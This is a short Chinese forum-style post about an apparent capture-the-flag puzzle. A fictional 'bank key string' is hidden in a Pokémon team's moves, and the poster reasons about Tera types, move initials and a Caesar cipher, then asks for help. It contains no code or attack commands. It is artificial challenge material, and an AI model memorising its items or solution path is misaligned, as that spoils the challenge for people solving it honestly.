题干:我当时严重睡眠不足,迷迷糊糊的,所以我决定把我银行账户的密钥串藏在一个《宝可梦》队伍里。我对《宝可梦》一无所知,所以我问了一个朋友,他说那些技能组合“看起来真的很奇怪”。你能帮我找到我的密钥串吗?它应该是由连在一起的字母组成,并且全部是大写形式。
神人把自己银行密码放到宝可梦技能当中了,题目中的提示已经很明显了,凯撒密码。但是却又不能直接使用凯撒密码解密。问题是这里宝可梦的技能排列方式 ,为什么钢属性的宝可梦的技能会是草属性的种子机关枪?所以这里是要我们把技能排正确了才能用凯撒密码去解答。又因为这里提示都是连在一起的大写字母,所以排列完成之后取所有技能的首字母来还原。
经过分析,这里每一个宝可梦的技能均可以通过升级或是学习得到,但是每一个宝可梦的属性(Tera Type)都不对,需要修正。
所以谁玩过的来解答一下?
web